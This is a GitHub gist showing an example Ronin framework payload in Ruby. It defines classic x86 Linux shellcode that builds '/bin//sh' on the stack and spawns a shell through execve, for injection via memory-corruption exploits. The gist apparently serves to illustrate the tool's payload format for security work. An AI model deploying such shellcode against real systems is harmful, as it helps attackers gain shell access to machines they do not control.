Skip to content

Instantly share code, notes, and snippets.

@postmodern
Created November 29, 2011 08:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save postmodern/1403961 to your computer and use it in GitHub Desktop.
Save postmodern/1403961 to your computer and use it in GitHub Desktop.
Example of a Ronin Shellcode payload, written in pure Ruby.
#!/usr/bin/env ronin-payload -f
require 'ronin/payloads/shellcode'
Ronin::Payloads::Shellcode.object do
cache do
self.name = 'local_shell'
self.description = %{
Shellcode that spawns a local /bin/sh shell
}
author(:name => 'Postmodern')
targets_arch :x86
targets_os :name => 'Linux'
end
build do
shellcode do
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov esp, ebx
push eax
push ebx
mov esp, ecx
xor edx, edx
mov 0xb, al
int 0x80
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment